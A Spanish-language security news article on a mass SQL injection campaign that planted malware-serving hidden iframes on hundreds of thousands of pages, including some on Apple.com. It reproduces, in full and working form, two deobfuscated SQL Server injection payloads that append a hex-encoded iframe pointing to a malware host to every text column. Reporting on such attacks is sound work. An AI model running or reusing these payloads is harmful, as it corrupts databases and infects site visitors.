Apple.com afectado por un ataque masivo de SQL Injection utilizado para distribuir malware
Durante el análisis del impacto que un ataque automático había producido en las empresas se ha descubierto que ha infectado varias páginas de Apple.com. Este tipo de ataques se aprovechan de encontrar de forma masiva sitios vulnerables a ataques conocidos – ya sean vulnerabilidades SQL Injection, vulnerabilidades RFI en productos web o incluso el último fallo de ColdFusion – a través de los buscadores, para automatizar ataques de infección.
En este caso, como informa The Register, el ataque ha afectado a más de 538.000 páginas que se han visto infectadas con un script en un iframe que se utiliza para descargar malware. En la siguiente imagen puede verse como los sitios de Apple.com están infectados e indexados en Google.
Manuel Humberto Santander Peláez de SANS ha hecho un análisis del exploit. Las dos mutaciones del ataque, una vez des-ofuscadas, muestran como están basadas en explotar vulnerabilidades en aplicaciones web que trabajan contra bases de datos SQL Server:
Ataque 1
dEcLArE @T vaRchaR(255),@c vARCHAr(255) decLAre tabLE_cUrsOR CURSOR FoR SELECt A.name,b.naMe froM sysObjeCts a,sysCOLuMNs b wheRE a.id=B.id aND A.XtYPe=’U’ and (b.xTYPe=99 or b.XType=35 oR B.xTYPe=231 OR b.xtypE=167) oPEN TAbLe_cuRsor fETCH neXT FROm TaBlE_CuRsOr INtO @T,@c whilE(@@FetCh_stAtuS=0) beGIn exEc(‘UpDaTE [‘+@t+’] SeT [‘+@c+’]=rtRIM(CONVeRT(VARCHAr(4000),[‘+@C+’]))+caST(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223
022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E aS vaRCHar(106))’)
FETCh Next fRom tABle_cUrsOr IntO @t,@c EnD Close tablE_CuRsoR dEALLoCATe TaBLe_CURsor
Dentro del CAST se inyecta:
[iframe src=»hxxp://nemohuildiin.ru/tds/go.php?sid=1″ width=»0″ height=»0″ style=»display:none»][/iframe]
Es decir, un frame oculto que distribuye malware. El ataque 2 es similar
Ataque 2
declarE @T VarchAr(255),@c VarChaR(255) deClaRe tAbLE_cuRsor CuRSor fOR sELECT A.NamE,b.Name froM sysObjecTs a,sYscOluMns b WheRE a.id=B.Id AnD a.xTYpE=’U’ ANd (b.XtYPe=99 OR b.XtyPe=35 OR b.xtyPE=231 or B.XtyPE=167) opEN tABlE_CuRsOr fetcH nExt FrOm TABle_cursor INTo @t,@C WHiLe(@@feTcH_staTus=0) bEGiN EXEc(‘UpdaTe [‘+@t+’] Set [‘+@c+’]=rtrIM(COnveRT(vArCHAr(4000),[‘+@C+’]))+caSt(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D22302
2206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E As VArcHaR(106))’) FETcH nExT FROM TAble_CursOR INTo @t,@c eNd ClOSe TabLE_cURsOR dEAlloCATE TaBlE_CURsoR
Una vez más, a pesar de la cantidad de años que hace que se conocen las vulnerabilidades SQL Injection, un atacante hace un uso exitoso de ellas.